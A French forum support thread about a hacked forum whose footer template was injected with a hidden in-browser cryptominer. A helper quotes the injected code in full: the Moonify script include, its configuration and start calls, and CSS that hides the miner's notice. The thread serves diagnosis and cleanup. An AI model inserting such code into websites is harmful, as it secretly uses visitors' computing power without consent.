[herpo44]

Hello, j'ai un message bizarre qui s'affiche sur mon forum depuis ce matin :
Voir l’image

J'ai fait aucune intervention particuliere sur mon forum ces derniers temps (j'ai un peu de retard sur les maj )

Merci pour votre aide

[Sylveretour]

Bonjour,

Tu a un fichier html vérolé par du javascript pas amis => overall_footer.html
Voir le code source de ta page => view-source:http://vtt44.com/
Le code se trouve tout en bas, avant la balise de fermeture </body>
Le code en question:

Code: Tout sélectionner

<script src="https://pkg.moonify.io/moonify.min.js"></script>
<script type="text/javascript">Moonify.set({serviceID:"d2Vv6858icFEGpOLGzp4SHaSGo0EEKhmAXmnfPo8dfvs7MS6qyimO1qNVd3x3rXCEbYpLQhxYrtKEepPTRLlyKYUcp92mc_Qnn0ukHOBgHXsWg9mk3aWY-FtBflDoxkB"});Moonify.setSpeed(0.8);Moonify.start();</script>
<style type="text/css">.Moonify div#MoonifyRibbonSmall.RibbonSmall{left:-500px !important;} .Moonify div#MoonifyRibbon.Ribbon{display:none;bottom: -100px!important;}</style>

[Steph]

Salut,

Suggestion : Que faire en cas de piratage

[herpo44]

Bonsoir,
Merci a tout les 2, je supprime ce fichiers puis je change mes MDP et sécurise tout ça
Et je vais en profiter pour faire les MAJ...

[JeanMoonify]

Bonjour je suis Jean, fondateur de Moonify.io. Nous sommes à l'origine de ce script qui se veut être tout le contraire d'un script malicieux.

Nous sommes une jeune startup avec l'ambition d’apporter une solution de monétisation alternative aux créateurs de contenus et aux éditeurs. Le mineur n’est que la première brique d’un écosystème plus complet qui vise dans sa prochaine version à rétribuer les utilisateurs.

Dans le code que vous avez collé on voit qu'une tentative de cacher le message d'information que nous affichons systématiquement a été faite. Sans succès, ce qui vous a permis de vous rendre compte du hack.

Le compte de cet utilisateur a été banni mais nous devons prendre les devants, c’est la raison pour laquelle notre prochaine version inclura un bouton de signalement ainsi qu’une vérification de la paternité du site utilisant notre plateforme.

Les mineurs cachés ont fait beaucoup de bruits ces derniers temps mais nous ne visons clairement pas le même objectif.

Nous restons à l’écoute, toute suggestion sera la bienvenue
Jean

[Sylveretour]

Je doute que herpo44 le créateur de ce sujet ai lui-même introduit ce code dans un fichier de son site.
Il pourra le certifier lui-même.

Et quoi qu'il en soit, introduire un code quel qu'il soit dans un site internet à l’insu de son propriétaire est une pratique malveillante et illégale.

[Steph]

Salut,

C'est marrant tu indiques que ce n'est pas un script malicieux, mais tu parles de se rendre compte du hack

[JeanMoonify]

Comprenons nous bien messieurs, nous sommes les créateurs du script.
Nous ne sommes en aucun cas les responsable du hack du site de herpo44.

Donc quelle est la situation :
- d'un coté notre script qui est développé dans l'intention d'apporter aux éditeurs de sites, une solution de monétisation alternative en proposant aux internautes de faire le don d'une partie de leur puissance de calcul pendant leur consultation.
- et d'un autre coté l'utilisation de notre script de façon malveillante par un tiers qui l'a inséré sur une site dont il n'est pas le proprietaire au moyen d'une faille.

Nous constatons la situation comme vous avec un gout amer en bouche. De fait nous prenons les mesures nécéssaires pour que cela ne puisse pas se reproduire. Dès notre prochaine version nous nous assurerons de la paternité des sites qui utilisent notre script, ce qui rendra dès lors ce genre de situation impossible.

L'utilisation de notre script a l"insu du propriétaire du site est absolument l'inverse de notre vision.

[cocooncrash]

Tout a ete dit, pour la publicité, ce n'est pas le lieu. Cordialement.